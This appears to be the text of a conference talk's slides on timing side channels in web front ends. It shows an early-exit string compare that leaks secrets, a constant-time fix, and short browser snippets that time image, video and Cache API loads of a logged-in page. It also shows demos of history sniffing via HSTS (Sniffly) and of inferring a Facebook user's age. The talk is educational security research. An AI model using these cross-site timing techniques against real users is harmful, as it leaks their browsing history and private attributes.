FRONT-END PERFORMANCE

THE DARK SIDE
```javascript
function compare(a, b) {
    return a === b;
}
```
```javascript
function compare(a, b) {
    return a === b;
}

compare('Fronteers', 'Fronteers');  // → true
compare('Fronteers', 'Fronteerz');  // → false
compare('Spring', 'Thing');         // → false
compare('CSS', 'XSS');              // → false
```
function compare(a, b) {
    return a === b;
}

compare('Fronteers', 'Fronteers');
// → true @ 1000 μs
compare('Fronteers', 'Fronteerz');
// → false @ 1000 μs
compare('Spring', 'Thing');
// → false @ 100 μs
compare('CSS', 'XSS');
// → false @ 200 μs
function compare(a, b) {
    const lengthA = a.length;
    if (lengthA !== b.length) {
        return false; // performance optimization #1
    }
    for (let index = 0; index < lengthA; index++) {
        if (a.charCodeAt(index) !== b.charCodeAt(index)) {
            return false; // performance optimization #2
        }
    }
    return true; // worst-case perf scenario
}
compare('Fronteers', 'Fronteers'); // → true @ 1000 μs
compare('Fronteers', 'Fronteerz'); // → false @ 1000 μs [opt. #2]
compare('Spring', 'Thing'); // → false @ 100 μs [opt. #1]
compare('CSS', 'XSS'); // → false @ 200 μs [opt. #2]
SIDE-CHANNEL LEAK
TIMING ATTACK
compare($userInput, $secret);
function compare(a, b) {
  const lengthA = a.length;
  if (lengthA !== b.length) {
    return false; // performance optimization #1
    // allows attackers to figure out expected length
  }
  for (let index = 0; index < lengthA; index++) {
    if (a.charCodeAt(index) !== b.charCodeAt(index)) {
      return false; // performance optimization #2
      // allows attackers to figure out expected characters, one by one (except the last one)
    }
  }
  return true; // worst-case perf scenario
}
function safeCompare(a, b) {
    const lengthA = a.length;
    let result = 0;
    if (lengthA !== b.length) {
        b = a;
        result = 1;
    }
    for (let index = 0; index < lengthA; index++) {
        result |= (a.charCodeAt(index) ^ b.charCodeAt(index)); // XOR
    }
    return result === 0;
}
```javascript
const image = new Image();
image.onerror = stopTimer;

startTimer();
image.src = 'https://example.com/admin.php';
```
```javascript
const image = new Image();
image.onerror = function() {
    const end = performance.now();
    const delta = end - start;
    alert(`Loading took ${delta} milliseconds.`);
};
const start = performance.now();
image.src = 'https://example.com/admin.php';
```
Dashboard

Tip: Update your about page so your readers can learn a bit about you.

At a Glance

1 Post
5 Comments

WordPress.com running Contempt theme.

Akismet has protected your site from 2,974 spam comments already. There's nothing in your spam queue at the moment.

Storage Space
3,072 MB Space Allowed  1.49 MB (0%) Space Used

Activity

Recently Published
Sep 21st 2005, 10:43 am  WordPress and <code>PRE</code> elements

Stats

No stats are available for this time period.

Quick Draft
const image = new Image();
image.onerror = function() {
  const end = performance.now();
  const delta = end - start;
  alert(`Loading took ${delta} milliseconds.`);
};
const start = performance.now();
image.src = 'https://example.com/admin.php';
MODERN TIMING ATTACKS
SNIFFLY
OMG @BCRYPT ROCKX!!1
Hello! This is a demo of Sniffly, a practical timing attack to sniff browser history using HSTS in Chrome and Firefox. Please disable HTTPS Everywhere for best results.

Sites you've probably visited:

- fronteers.nl
- www.cloudflare.com
- atom.io
- vimeo.com
- www.npmjs.com

Sites you probably haven't visited:

- savecrypto.org
- noscript.net
- www.xoom.com
- www.hackerrank.com
- www.oculus.com
- www.yola.com
- notepad-plus-plus.org
- www.sixt.com
- giustizia.it
- angel.co
- www.adreactor.com
- www.mailerlite.com
- www.ing-diba.de
VIDEO PARSING • ATTACK

@TOMVANGOETHEM
```javascript
const video = document.createElement('video');

// `suspend` event == download complete
video.onsuspend = startTimer;
// `error` event == parsing complete
video.onerror = stopTimer;

video.src = 'https://example.com/admin.php';
```
CACHE STORAGE  ★  ATTACK

@TOMVANGOETHEN
const url = 'https://example.com/admin.php';
const dummyRequest = new Request('dummy');
fetch(url, {
  'credentials': 'include',
  'mode': 'no-cors'
}).then(function(response) {
  // The download has completed.
  startTimer();
  return cache.put(dummyRequest, response.clone());
}).then(function() {
  // The resource has been stored in the cache.
  stopTimer();
});
Create a Page
Create a Facebook Page to build a closer relationship with your audience and customers.

- Local Business or Place
- Company, Organization or Institution
- Brand or Product
Limit who can see this post. Only people in the audiences you choose can see this post anywhere on Facebook.

Age

13 - 65+

Gender

All | Men | Women

Locations

Include | Add locations

Languages

Enter a language...

Have a Question? Read our Guidelines.

Cancel | Save
can be seen if age = 26
can be seen if age = 26
Sorry, this page isn't available

The link you followed may be broken, or the page may have been removed.

15 ms
Status: Controller is set, start run.
Time elapsed: 0.52s
Timing Attack: Detect Facebook Age

Status: Finished measurements
Time elapsed: 10.963s
Discovered age-range: 23-32
Status: Discovered age!!
Time elapsed: 28.81s
Discovered age-range: 23-32
Discovered age: 26
THANKS!

Sniffly by @bcrypt: https://mths.be/buy
Research by @tomvangoethem: https://mths.be/buz
Bonus – examples by @sirdarckcat: https://mths.be/bva